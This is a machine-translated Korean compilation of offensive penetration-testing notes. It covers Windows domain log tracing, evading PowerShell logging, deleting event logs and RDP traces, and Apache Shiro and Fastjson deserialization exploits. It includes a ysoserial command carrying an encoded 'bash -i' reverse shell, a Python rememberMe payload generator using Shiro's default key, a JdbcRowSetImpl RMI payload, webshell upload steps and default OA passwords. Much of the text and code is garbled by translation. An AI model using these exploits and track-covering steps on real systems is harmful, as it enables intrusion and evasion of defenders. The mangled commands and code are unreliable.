C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

문자열 필드를 통해 도메인 제어에 연결된 호스트의 IP와 계정을 볼 수 있습니다.

멤버 호스트 DIR는 도메인 제어 호스트에 연결합니다

NTLM 인증 패킷

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

Kerberos 인증 패킷

dir \\ ad-2016 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

멤버 호스트 연결 멤버 호스트

dir \\ 10.10.10.10 \ c $

dir \\ web-2003 \ c $

첫 번째 방법, 즉 NTLM 인증 방법은이 로그 추적을 도메인 제어 호스트의 로그에만 두는 것입니다.이 로그는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

Kerberos 인증 방법 인 두 번째 방법은 도메인 제어 호스트에 두 개의 로그를 남깁니다 : 요청 tgt 및 요청 st log.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

멤버 호스트 자체로 로그인

도메인의 사용자 계정으로 로그인하는 사용자 만 도메인 제어 호스트에 흔적이 남습니다. 로컬 계정으로 로그인하면 컴퓨터 로그에만 반영됩니다.

도메인 내의 사용자를 사용하여 로그인하는 경우 도메인 컨트롤은 위의 Kerberos 인증 패킷과 동일한 인증을 위해 Kerberos를 사용하는 것입니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indestop \ log \ 1.csv \ 10.10.10 \ strings'%| kerberos |%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%. '%|%$ |%' ''

양말 프록시를 통한 쿼리 로그

일반적으로 경계 호스트를 중단 할 때 양말 터널을 만들고 지역 호스트 에이전트를 인트라넷으로 가져 오기 위해 작동합니다.

먼저 해시 전달을 사용하여 외부 도메인 호스트에 충분한 권한이 있는지 확인하십시오.

테스트 후 해시 통과 작업은 도메인 제어 및 양말 터널 클라이언트 호스트에서 로그 트레이스를 생성하지 않습니다.

1. 호스트의 로그인 레코드를 쿼리하십시오

지침 및 운영은 VPN과 동일합니다.

2. 연결 중에 로그의 흔적을 쿼리하십시오

원격 호스트 네트워크 연결 연결 도메인 제어 호스트

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

NTLM 인증 패킷

순 사용 \\ 10.10.10.10 \ IPC $

지침을 통해이 명령어의 로그인이 NTLM 인증이어야한다는 것을 알 수 있습니다.

여러 테스트 후, 멤버 호스트가 위의 명령문을 사용하여 도메인 제어 호스트에 연결하는 경우 다음 레코드가 도메인 제어 호스트에 남아 있습니다.

첫 번째 패키지는 도메인 컨트롤 호스트에 연결하는 계정을 확인하기위한 자격 증명입니다.

두 번째 패키지는 연결에 권한을 할당하는 것입니다.

세 번째 패키지는 성공적인 로그인이있는 데이터 패키지입니다.

세 번째 패키지에서는 IP 주소, 기계 이름 및 멤버 호스트의 기타 정보를 볼 수 있습니다.

S-1-0-0 |-|-|0x0 | S-1-5-21-3315874494-179465980-3412869843-1115 | Admins | vvvv1 | 0 x889d1b | 3 | ntlmssp | ntlm | web-2003 | {{0000000-0000-0000-00000-0000000000} |-| ntlm V1 | 128 |0x0 |-| 10.10.10.3 | 1280 | %% 1833 |-|-| %% 1843 |0x0 | %% 1842

따라서 세 번째 성공적인 로그인 데이터 패킷을 원격으로 내보내고 필터링 규칙을 수정하여 순 사용을 통해 로그에서 도메인 제어의 호스트 정보를 얻을 수 있습니다.

로그 파서 도구를 사용하여 로그 파일을 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

문자열 필드를 통해 도메인 컨트롤에 연결된 호스트의 IP 및 호스트 이름을 볼 수 있습니다.

도메인 제어 호스트에 대한 원격 DIR 연결

NTLM 인증 패킷

Proxifier 프록시 도구는 양말 환경에서 DNS 프록시를 수정할 수 없으므로 도메인 이름과 기계 이름을 올바르게 해결할 수 없기 때문입니다. 따라서 IP 작업 만 사용하고 NTLM 인증을 사용할 수 있습니다.

dir \\ 10.10.10.10 \ c $

원칙은 순 사용과 동일합니다. 로그 파서를 사용하여 직접 내보내십시오.

C: \ Users \ Admins \ Desktop \ logparser.exe -i:evt -o:csv 'select * in c: \ users \ indesc \ log \ 1.csv \ 10.10.10.10 \ strings' ''seense | ntlm |%|%.%.%.%.%.%.%.%.%.%.%.%.%.

원격 호스트는 멤버 호스트에 연결합니다

dir \\ 10.10.10.10 \ c $

두 방법 모두이 로그 추적을 도메인 제어 호스트의 로그에 남겨 두는 것을 의미하며, 이는 거의 쓸모가 없으며 주요 추적은 연결된 호스트의 로그에 반영됩니다.

로그 검색 프로세스도 위와 유사하므로 여기서는 설명하지 않습니다.

PowerShell log

PowerShell 로그는 일반적으로 시스템 로그에 직접 작성됩니다.

그러나 정상 구성에서 PowerShell은 실행의 명령 로그를 저장하지 않지만 PowerShell Open Command (ID:600) 및 PowerShell Close 명령 (ID:403) 만 저장합니다.

따라서 침투 과정에서 대화식 쉘을 얻으면 먼저 PowerShell을 열고 명령을 실행할 수 있습니다. 그러면 로그는 PowerShell을 열도록 명령 만 기록하며 PowerShell 터미널에서 실행 된 명령의 기록을 저장하지 않습니다.

그러나 침투 과정에서 웹 쉘, 즉 반 인터랙티브 명령 창이 발생하면 명령을 하나의 문으로 만 요약 할 수 있으며 명령은 로그에 기록됩니다.

PowerShell 스크립트 사용

PowerShell 스크립트를 사용하여 명령을 실행하면 먼저 명령을 실행해야합니다.

PowerShell -ExecutionPolicy 바이 패스

PowerShell 실행 정책을 우회하는 데 사용됩니다. PowerShell은 기본적으로 실행 정책을 활성화하여 스크립트 실행 권한을 제한합니다.

실행 정책은 스크립트 파일을 실행할 수 있는지 여부를 제어하고 신뢰할 수없는 소스에서 스크립트를 제어하는 보안 메커니즘입니다. 기본적으로 PowerShell의 실행 정책은 '제한적'으로 설정되어 있으므로 스크립트 파일을 실행할 수 없습니다.

PowerShell 명령 줄에 'PowerShell -ExecutionPolicy Bypass'를 사용하면 실행 정책 제한을 우회하고 스크립트 파일이 허용됩니다. 이렇게하면 실행 정책을 일시적으로 변경하여 모든 스크립트를 실행할 수 있습니다.

PS1 스크립트가 가져 오려고하는 경우 Sharphound.ps1

import-module ./sharphound.ps1

현재 Sharphound 모듈이 현재 세션에로드되었습니다.

현재 세션에서로드 된 모든 모듈을보십시오

모듈을 얻으십시오

Sharphound 모듈에서 모든 명령 목록 얻기

get -command -module sharphound

Sharphound 사용 도움말을 확인하십시오

get-help sharphound

Get-Help invoke-bloodhound-

로그 삭제

당신이 관통하는 환경에 있으면 모든 로그를 삭제하면 우리의 흔적을 덮을뿐만 아니라 대신 흔적을 더 명확하게 만들 것입니다.

따라서 단일 로그를 삭제하는 방법 만 사용할 수 있지만 Windows는이를 제공하지 않거나 단일 로그를 삭제하는 것이 허용되지 않으므로 다른 방법 만 사용할 수 있습니다.

도구 사용 : https://github.com/3gstudent/eventlogedit-evtx- evolution

단일 로그 삭제 원칙 : https://3gstudent.github.io/windows-xml-event-log-(evtx)%E5%8D%95%E6%9D%A1%E6%97%A5%E5%BF%97% E6%B8%85%E9%99%A4-%E4%B8%80-%E5%88%A0%E9%99%A4%E6%80%9D%E8%B7%AF%E4%B8%8E%AE%9E%E4%BE%8B

https://github.com/qax-a-team/eventcleaner

RDP 로그인 추적

지우기

https://blog.csdn.net/m0_37552052/article/details/82894963

https://blog.csdn.net/coco56/article/details/102671007#:~333333333333333333333333333333333333333333333333333333333333333333:Text=Win10%E7%B3%BB%E7%BB%9f%E6%8E4%E4%B9%B9%8899a0%9999%. 99%A4%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E8%BF%9E%E6%8E%A5%a5%AE%B0%E5%BD%95%20%20%20%8C%89WIN%2BR E9%Ae%ae%ae%ae%e6%89 BC%80%E8%BF%90%E8%A1%8C%EF%BC%8C%E8%BE%93%e5%85%A5%20 리게디%20%20%E5%B9%B6%E7%A1%AE%E5%AE%9A%e3%80%202,%E5%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9C%9. C%B0%E5%9d%80%e6%A0%8f%E4%B8%AD%E8%BE%93%E5%85%A5%E4%BB%A5%E4 비 5%8d%B3%e5%8f%AF%a8%bf%9b%e8%a1%8c%e7%9c%8b%e5%88%b0%e6%89%80 %e6%9c%89%e7%9a%84%e5%b7%b2%e8%bf%9e%e6%8e%a5%e8%bf%87%e7%9a% 84%E7%94%B5%E8%84%91%E3%80%82%20%E8%AE%AE%A1%E7%AE%97%E6%9C%BA%5CHKEY_CURRENT_USER%5CSOFTWARE%5CMICROSOFT%5CTerminal%20Server% 20Client%5cdefault%201%203%20%E5%8f%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9c%80%e8%A6%81%e7%AE%A1%E7%90%86%e7%9A%84%ae%B0%e5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%AD%A4%E9%A1%B9%E3%80%82

https://blog.csdn.net/travelnight/article/details/122854895

이벤트 ID : 1149 : RDP를 사용하여 소스 IP가 로컬 컴퓨터에 성공적으로 로그인 한 레코드. 등록 :hkey_current_user \ Software \ Microsoft \ 터미널 서버 클라이언트 \ 서버 \

이 경로는 현재 호스트가 로그인 한 서버를 기록합니다. 이벤트 ID : 5156 로그 : 기계가 다른 서버의 포트 3389에 액세스했는지 확인할 수 있습니다. 4624 —— 계정은 성공적으로 로그인했습니다

4625 —— 계정을 로그인 할 수 없습니다

1149 —— 사용자 인증이 성공했습니다

원래 링크 주소에서 재 인쇄 : https://forum.butian.net/share/3657

시로

Apache Shiro는 복잡한 문제를 숨기고 개발자가 자신의 프로그램 보안 코드를 쉽게 개발할 수 있도록 명확하고 직관적 인 API를 제공하기 위해 인증, 승인, 암호화 및 세션 관리 기능을 제공합니다.

Shiro는 Shiro가 개발 팀을 개발하는 것에 중점을 둡니다. 개발 팀은 "4 개의 보안 초석" - 인증, 승인, 세션 관리 및 암호화

인증 : 사용자 신원 식별. 때로는 "로그인"으로 간주 될 수 있는데, 이는 사용자가 자신이 누구인지 증명하는 행위입니다. 권한 부여 : "무엇"에 액세스 할 수있는 것 "을 결정하는 것과 같은 액세스 제어 프로세스. 세션 관리 : 웹 또는 EJB 컨테이너가없는 환경에서도 사용자 세션을 관리합니다. 사용자 시간 관련 상태를 관리합니다. 암호화 : 암호화 알고리즘을 사용하여 데이터를보다 안전하게 보호하고 데이터를 엿보기를 방지하십시오. @shiro333333https://github.com/vulhub/vulhub/tree/master/shiro

CVE-2010-3863 : Apache Shiro 인증 우회 취약성

취약성 원칙

Apache Shiro 1.1.0 이전에 Shiro는 권한 확인을 수행하기 전에 URL을 표준화하지 않았습니다. 공격자는 허가 확인을 우회하기 위해 /, //, /./, /… /등을 구성 할 수 있습니다.

는 버전에 영향을 미칩니다

Shiro 1.1.0 및 JSecurity 0.9.x

취약성 재발

액세스 페이지 주소는 IP:8080입니다

취약점/관리자

크로스 디렉토리를 사용하여 사전 퍼지 테스트

image.png

image.png

CVE-2016-4437 : Apache Shiro 1.2.4 사막화 취약성/Shiro550

취약성 원칙

Shiro550 취약점에 속합니다.

Apache Shiro 1.2.4 및 이전 버전에서는 암호화 된 사용자 정보가 Serimalized 및 Remember-Me라는 쿠키에 저장되었습니다. 공격자는 Shiro의 기본 키를 사용하여 사용자 쿠키를 위조하고 Java Desorialization 취약성을 트리거 한 다음 대상 기계에서 임의의 명령을 실행할 수 있습니다.

Shiro는 기본적으로 CookierememberMemanager를 사용하고 RememberMeManaer 클래스, AES 암호화 및 Base64 인코딩 작업에서 Remembe Field 컨텐츠를 직렬화합니다. 신원을 식별 할 때는 쿠키에서 Rememberme 필드를 해독해야합니다. 암호화 순서에 따르면, 암호 해독 순서는==쿠키-베이스 64 디코딩 -AES 암호 해독 방지를 얻는 것으로 추론 될 수있다.==

는 버전에 영향을 미칩니다

Apache Shiro=1.2.4

취약성 재발

인증, 승인, 암호 및 세션 관리를 위해 Shiro 프레임 워크에서 페이지 로그인을 사용하는지 여부를 결정합니다.

판단 방법 : 비밀번호 기억 옵션을 확인한 후 로그인을 클릭하고 패킷을 잡고 요청 패키지에 기억 필 필드가 있는지 여부와 응답 패키지에 set-cookie:remembeme=deleteme 필드가 있는지 여부를 관찰하십시오. 아래 그림과 비슷합니다.

image.png

image.png

Rememberme=deleteme 필드가 응답 패키지에 나타나는 한 취약성이 있음을 의미합니다. 일방적으로 넣으려면, 기억력에 표시되면, Rememberme=deleteme 필드가 나타나면 로그인 페이지가 인증을 위해 Shiro를 사용하고 요청 패키지의 쿠키에 취약성과 리콜 필드가 있음을 직접 표시하지 않으며 반환 패키지 세트 쿠키에는 deleteme 필드가 없음을 나타냅니다. 로그인이 실패하면 Rememberme 필드가 확인되었는지 여부에 관계없이 리턴 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지 세트 쿠키에는 Rememberme=deleteme 필드가 있습니다. 그러나 모든 후속 요청에서 쿠키에는 Remember Me Field Check Rememberme가 없습니다. 로그인이 성공하면 반환 패키지에는 Set-Cookie에 RememberMe=Deleteme 필드가 있으며 Rememberme 필드가 있습니다. 모든 후속 요청에서 쿠키에는 기억력이 기억되거나 쿠키 다음에 기억에 남는 다음 기억에 남을 수 있습니다.

java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo, ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64, -d} | {bash, -i} '

shiro-exploit.py를 사용하여 Shiro의 기본 키를 얻으십시오 (공구 주소 : https://github.com/insightglacier/shiro_exploit).

image.png

shiro.py를 사용하여 페이로드를 생성합니다 (키를 직접 변경해야합니다. Shiro.py 코드는 다음과 같습니다.)

명령 : Shiro.py 192.168.17.13233606666

Shiro.py:

SYS 가져 오기

UUID 가져 오기

베이스 64 수입

수입 하위 프로세스

Crypto에서 Cipher Import AES에서

def encode_rememberme (명령) :

Popen=subprocess.popen ([ 'java', '-jar', 'ysoserial-0.0.6-snapshot-all.jar', 'jrmpclient', command], stdout=subprocess.pipe)

bs=aes.block_size

PAD=LAMBDA S: S + ((BS -LEN (S) %BS) * chr (BS -LEN (S) %BS)). Encode ()

key=base64.b64decode ( 'kph+bixk5d2deziixcaaaa==')

iv=uuid.uuid4 (). 바이트

alcryptor=aes.new (key, aes.mode_cbc, iv)

file_body=pad (popen.stdout.read ())

base64_ciphertext=base64.b64encode (iv + alcryptor.encrypt (file_body))

base64_ciphertext를 반환합니다

__name__=='__ 메인 __': 인 경우

페이로드=encode_rememberme (sys.argv [1])

print ( 'Rememberme={0}'. 형식 (payload.decode ()))

Python3 Shiro.py 192.168.200.12933606666

로그인 한 후 패킷을 잡고 데이터 패킷의 쿠키 값을 shiro.py가 생성 한 기억으로 교체하십시오.

image.png

CVE-2020-1957 : Apache Shiro 인증 우회 취약성

취약성 원칙

프로젝트 전반에 걸쳐 요청한 URL의 들어오는 전달 프로세스를 분석해야합니다. Shiro를 사용하는 프로젝트에서는 우리가 요청한 URL (URL1)으로 Shiro 권한 (URL2)에 의해 검사 된 URL (URL1)이며 마지막으로 SpringBoot 프로젝트로가는 경로를 찾습니다 (URL3).

취약점은 URL1, URL2 및 URL3에서 발생합니다. 동일한 URL이 아니기 때문에 시로의 확인을 우회하고 백엔드에 직접 액세스하게됩니다. 이 경우의 취약점은 이러한 이유로 인해 발생합니다.

Shiro Framework는 Anon, AuthC 및 기타 인터셉터와 같은 인터셉터 기능을 통해 사용자 액세스 권한을 제어합니다. Anon은 익명의 인터셉터이며 로그인에 액세스 할 필요가 없습니다. AuthC는 로그인 인터셉터이며 액세스에 로그인해야합니다.

는 버전에 영향을 미칩니다

Apache Shiro 1.5.2

취약성 재발

image.png

URL 변경 /admin로 변경 로그인 로그인 페이지로 자동 이동합니다.

image.png

허가 우회에 대한 악의적 인 요청을 구성

코드 레벨이 추가되었으므로; 우회 된 것으로 인식 될 것입니다. 하나/단락을 추가하십시오.

URL은 /xxx/.

/xxx/./admin/

image.png

시로 721

취약성 재발 : CVE-2019-12422

환경 : Kali Linux

Docker 빌드 및 시작

git 클론 https://github.com/3ndz/shiro-721.git

CD Shiro-721/Docker

Docker Build -t Shiro -721.

Docker Run -P 8080:8080 -D Shiro -721

입장:

image.png

image.png

image.png

올바른 계정 비밀번호로 로그인하면 아래 그림과 같이 두 개의 요청 패킷, 즉 게시 및 getPost 요청 패킷 (올바른 계정 비밀번호로 로그인하여 얻은 패키지 image.png

Get Request 패키지는 다음과 같습니다 (이것은 올바른 암호로 로그인하여 쿠키 값을 배경에 주로 제출하여 얻은 패키지입니다) image.png Repemerme=deleteme 필드를보고 Shiro Deserialization 취약성 image.png가 있다고 말할 수 있습니다.

Burp Plugin은 Shiro의 지문을보기 위해 HAE 및 LOGGER ++를 추가합니다.

image.png

image.png

도구 활용 :

image.png

FastJson

@fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson

취약성 원칙

이 취약점의 원칙은 Fastjson의 사막화 메커니즘에 있습니다. Fastjson이 JSON 데이터를 파싱하면 JSON 데이터를 Java 객체로 변환하려고합니다. 이 프로세스에서 Fastjson은 JSON 데이터의 유형 정보를 기반으로 데이터를 구문 분석하는 방법을 결정합니다. 공격자는이 기능을 활용하여 JSON의 특정 데이터 유형과 구조를 구성 할 수 있으므로 FastJSON은 구문 분석 중에 악의적으로 구성된 Java 클래스 또는 방법을 호출하여 원격 코드 실행을 실현합니다.

일반적인 악용 방법은 FastJson의 자동 형 기능을 사용하는 것입니다. Autotype은 SASTJSON의 기능으로 직렬화 및 사제화 할 때 클래스의 완전히 자격을 갖춘 클래스 이름을 사용할 수 있습니다. 공격자는 악의적 인 JSON 데이터를 구성하고 악의적 클래스를 자동 타입의 값으로 사용할 수 있습니다. FastJson이 소화되면 지정된 클래스를 인스턴스화하여 클래스에서 코드를 실행하려고 시도합니다 (Exploit 프로세스에서는 JDBCrowsetlmpl이 일반적으로 체인을 이용하도록 악용).

@Type 필드

@type는 객체 유형 정보를 처리하는 데 사용되는 Fastjson의 특수 필드 중 하나입니다. JSON 데이터에서 @Type 필드는 사막화 중에 인스턴스화 해야하는 클래스의 유형을 지정하는 데 사용될 수 있습니다. 이 필드는 일반적으로 특히 Fastjson의 Autotyp 함수가 활성화 될 때, 사막화 중 객체의 유형 정보를 지정하는 데 사용됩니다.

@type 필드를 통해 Fastjson은 인스턴스화 할 클래스를 식별하고 해당 필드에 제공된 클래스 경로를 기반으로 객체를 만들 수 있습니다. 이것은 객체의 정확한 유형을 지정할 수 있으므로 복잡한 객체 구조를 직렬화하고 실조화 할 때 매우 유용합니다.

그러나 @type 필드의 존재와 사용으로 인해 악의적 인 사용자 가이 필드를 사용하여 악의적 인 JSON 데이터를 구성하고 @Type 필드에 악의적 인 클래스 경로를 지정할 수 있습니다. 이러한 방식으로, 사막화 과정에서 FastJson은 @Type 필드에서 지정된 클래스 경로를 기반으로 해당 클래스를 인스턴스화하여 악의적 인 코드가 실행되거나 보안 취약성이 악용 될 가능성이 있습니다.

jndi

JNDI, RMI 및 LDAP는 다양한 목적으로 Java에서 사용되는 기술입니다.

JNDI (Java Naming and Directory Interface) : JNDI는 Java의 API 세트로 다양한 이름 지정 및 디렉토리 서비스에 액세스하는 데 사용됩니다. JNDI는 Java 애플리케이션이 DNS, LDAP, RMI 레지스트리 등과 같은 다양한 이름 지정 및 디렉토리 서비스를 연결하고 사용할 수있는 통합 액세스 방법을 제공합니다. RMI (원격 메소드 호출) : RMI는 Java에서 원격 메소드 호출을 구현하는 데 사용되는 메커니즘입니다. 다른 Java 가상 머신 간의 객체 간의 통신 및 메소드 호출을 허용합니다. 분산 시스템에서 RMI를 사용하면 원격 시스템이 서로의 방법을 호출하여 원격 객체 간의 상호 작용을 달성 할 수 있습니다. LDAP (Lightweight Directory Access Protocol) : LDAP는 분산 디렉토리 서비스에 액세스하는 데 사용되는 프로토콜입니다. JNDI는 Java에서 일반적으로 사용자 정보, 조직 구조 등과 같은 구조화 된 데이터를 저장하는 데 사용됩니다. JNDI는 LDAP 액세스를 지원하며 JNDI가 사용자 인증, 데이터 검색 등과 같은 LDAP 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다. JNDI (JVA API)를 포함한 JNDI의 관계는 LDAP에 접근하는 방법을 제공한다는 것입니다. JNDI를 사용하면 LDAP 서버를 연결하고 작동하고 LDAP 디렉토리에 데이터를 검색하고 저장할 수 있습니다. 또한 JNDI를 사용하여 RMI 레지스트리에서 원격 객체를 찾아 원격 메소드 호출을 구현할 수도 있습니다.

요약하면, JNDI는 Java의 API로서 다양한 서비스에 액세스 할 수있는 통합 된 방법을 제공하여 Java 응용 프로그램이 LDAP 및 RMI 레지스트리와 같은 다양한 명칭 및 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다.

jdbcrowsetimpl은 체인을 사용합니다

Fastjson에서는 사막화 공격에 jdbcrowsetimpl을 사용합니다. JDBCROWSETIMPL의 활용 체인의 초점은 자동 커밋 세트 메소드를 호출하는 방법입니다. Fastjson Dessorialization의 특징은 클래스의 설정 방법을 자동으로 호출하므로 사막화의 문제가 있다는 것입니다. @type 유형이 공식화되는 한 해당 클래스를 자동으로 호출하여 구문 분석합니다.

이렇게하면 활용 체인을 구성 할 수 있습니다. @Type 유형이 JDBCrowsetImpl이면 JDBCrowsetImpl 클래스가 인스턴스화됩니다. 따라서 DataSourceame이 조회 방법으로 전달되는 한 원격 공격 서버에 액세스 할 수있는 다음 Autocommit 속성을 사용하여 조회를 트리거 할 수 있습니다. 전체 프로세스는 다음과 같습니다.

SetAutoCommit 함수를 사용하여 Connect 함수 트리거 기능을 트리거하여 DataSourceName - Autocommit 속성 설정 - 자동 커미트 속성 설정 - 자동 커미트 속성 설정 - 아래 조회 함수를 트리거하여 아래의 조회 함수는 방금 설정 한 DataSourCeame 매개 변수를 사용하여 RMI를 통해 원격 서버에 액세스 할 수 있습니다.

익스플로잇은 다음과 같습니다.

{ "@type": "com.sun.rowset.jdbcrowsetimpl", "dataSourceName": "RMI: //192.168.17.39:999/Exploit", "Autocommit":true}

1. DataSourceame은 Autocommit 앞에 배치해야합니다. 사막화가 설정되면 속성이 순서대로 설정되고 Etdatasourcename을 먼저 설정 한 다음 setAutocommit을 설정하기 때문입니다. 2. RMI의 URL은 검색 할 원격 공장 클래스의 이름을 검색 할 수 있습니다.

FastJSON DETECTION 버전

1. DNSLOG를 사용하여 가져 가십시오. 대부분의 DNSLOG가 블랙리스트에 기록되기 때문에 자신의 DNSLOG를 사용하는 것이 가장 좋습니다.

2. 오류 메시지가 있으며, 버전 번호 페이로드는 결함이있는 코드 블록을 입력하고 예외를 던지기 전에 "{"and ","읽지 않았습니다.

3. 스크립트를 사용하여 버전 번호를 신속하게 감지하십시오. 즉, 각 POC는 한 번 호출됩니다.

CVE-2017-18349 FASTJSON 1.2.24-RCE

0x00 소개

Fastjson은 Alibaba의 오픈 소스 JSON 구문 분석 라이브러리입니다. JSON 형식으로 문자열을 구문 분석하거나 JSON 현으로의 Java Bean을 직렬화하거나 JSON 현에서 Javabeans로 변형됩니다. 즉, FastJson의 주요 기능은 Java Beans를 JSON 문자열로 직렬화하여 문자열을 얻은 후 데이터베이스 등을 통해 지속될 수 있습니다.

0x01 취약성 개요

JSON을 구문 분석하는 과정에서 FastJSON은 자동 타입을 사용하여 특정 클래스를 인스턴스화하고 클래스의 세트/GET 메소드를 호출하여 속성에 액세스합니다. 코드에서 관련 방법을 찾으면 악의적 인 악용 체인이 구성 될 수 있습니다.

0x02는 버전에 영향을 미칩니다

영향 범위 : FastJson=1.2.24

0x03 환경 구성

CD /VULHUB/FASTJSON/1.2.24-RCE

Docker -Compose Up -D

도커 PS

image.png

Docker는 포트 8090을 열고 대상 기계 IP에 액세스합니다

http://192.168.200.16633608090/

image.png

JDK 버전 스위칭

취약성 익스플로잇은 JDK8을 필요로하고 Kali와 함께 제공되는 JDK는 JDK11을 여기서 사용할 수 없으므로 Kali의 JDK1123을 먼저 제거하십시오.

dpkg --- 목록 | grep -i jdk #view 설치 JDK 패키지

APT-GET PURGE OPENJDK-* #UNINSTALL OPENJDK 관련 패키지

dpkg --- 목록 | Grep -I JDK #모든 JDK 패키지가 제거되었음을 확인하십시오.

JDK1.8을 다운로드하십시오

https://github.com/frekele/oracle-java/releases/download/8u212-b10/jdk-8u212-linux-x64.tar.gz

image.png

압축 패키지를 Kali 및 압축 압력에 넣고 환경 변수를 구성하십시오.

MV JDK-8U212-LINUX-X64.TAR.GZ /OPT /JAVA #PLAPE IN /OPT /JA

가장 기본적인 로그인 박스에서 나누십시오

로그인 상자는 HW가 가장 많이 발생하는 캐릭터이며 구멍에서 벗어나기가 가장 쉽습니다. 일반적으로 사용되는 테스트 방법은 다음과 같습니다

로그인 폭발 팁

image-20231130171640751

우리는 다음과 같은 시스템의 폭발에 대한 두 가지 솔루션이 있습니다.

프론트 엔드 암호화 알고리즘을 분석하고, 비밀번호를 암호화하도록 스크립트를 작성하고, 비밀번호를 123456 000000으로 고정하여 공통 사용자 이름을 사전으로 사용하여 두 가지 방법을 폭파하는 두 가지 방법은 고유 한 장점과 단점이 있습니다. 두 번째는 게임에서 더 효율적이며 분석 암호화 알고리즘은 Red Team Detection Project에 더 적합합니다.

image-20231201170955410

Blasted 계정 비밀번호를 사용하여 백그라운드에 로그인하면 배경 업로드 포인트를 계속 찾을 수 있습니다.

업로드 된 파일 형식을 제한하려면 여기에서 이미지 유형을 참조하십시오.

image-20231201171410743

ASPX 파일 형식 유형을 직접 추가하십시오

image-20231201171600249

성공적인 getshell

image-20231201171755656

반환 패킷 매개 변수를 수정하고 배경을 입력하십시오

때때로 웹 사이트 로그인 상태는 프론트 엔드를 기준으로 판단되며 현재로서는 반환 패키지를 직접 수정하여 우회 할 수 있습니다.

image-20231128172935703

프론트 엔드 판단 로그인 로직은 리턴 패키지의 RET 값을 기반으로 결정됩니다. 반환 값이 1 인 경우 로그인이 성공적으로 로그인됩니다.

image-20231128173007315

배경에 성공적으로 입력했습니다

image-20231128173130312

플러그인은 일반적인 SQL 주입 및 LOG4J 취약성을 감지합니다

권장 SQL 주입 플러그인 https://github.com/smxiazi/xia_sql

기본 원칙은 반환 된 데이터 길이를 기반으로 여러 데이터 패킷을 전송하여 주입이 있는지 여부를 결정하는 것입니다.

image-20231128170800532

수동 스캔 외에도 단일 및 이중 인용문을 수동으로 추가하여 리턴 패키지를 볼 수도 있습니다. 비슷한 오류가 있으면 SQL 주입이있을 수 있습니다.

image-20231128164205795

image-20231205180145610

SQLMAP 셔틀

image-20231128173629321

Log4J 플러그인 권장 https://github.com/thekingofduck/burpfakeip

버프 플러그인 퍼즈 패킷을 통한 헤더 헤더

image-20231128171023433

로그인 상자에서 Log4J 취약성을 성공적으로 감지했습니다

그러나 많은 DNSLOG 플랫폼이 방화벽에 의해 검은 색으로 표시되었으므로 Ceye를 사용하거나 DNSLOG 플랫폼을 직접 구축하는 것이 좋습니다.

image-20231108153844067

시스템 기본 비밀번호 + 배경 1day Exploit

공세 및 방어 경쟁이 점점 더 빈번 해짐에 따라 공개 네트워크에서 직접 악용 할 수있는 프론트 엔드 취약점은 적고 적으며 대부분은 배치 스캔으로 수정되었지만 시스템의 기본 비밀번호를 사용하여 1 일과 결합하여 Utilization을 사용 할 수 있습니다.

기본 비밀번호가있는 경우 admin/admin123

image-20231128173913383

작업을 예약하거나 배경을 입력 할 때 명령을 실행하여 명령을 실행할 수 있습니다.

image-20231128174037559

OA 시스템을 만나면 OA 취약성 감지 도구를 사용하여 허점을 스캔하고 포기합니다. 실제로 이러한 종류의 OA 시스템에서 기본 암호에 문제가있을 수 있습니다.

기본 비밀번호

시스템 관리자 : 시스템/시스템

그룹 관리자 (A8-V5 그룹 버전) Group-Admin/123456

Unit Administrator (A8-V5 Enterprise Edition) admin1/admin123456

감사 관리자 (모든 버전) Audit-Admin/Seeyon123456

image-20231108142849667

때로는 프론트 데스크에서 계정 비밀번호를 사용할 때 로그인 할 수 없습니다. 다음 데이터 패킷을 보내 쿠키를 얻을 수 있습니다.

Post/Seeyon/REST/AUTHENTICATION/UCPCLOGIN HTTP/1.1

호스트 :

user-agent: Mozilla/5.0 (Windows NT 10.0; RV:78.0) Gecko/20100101 Firefox/78.0

컨텐츠 길이 : 71

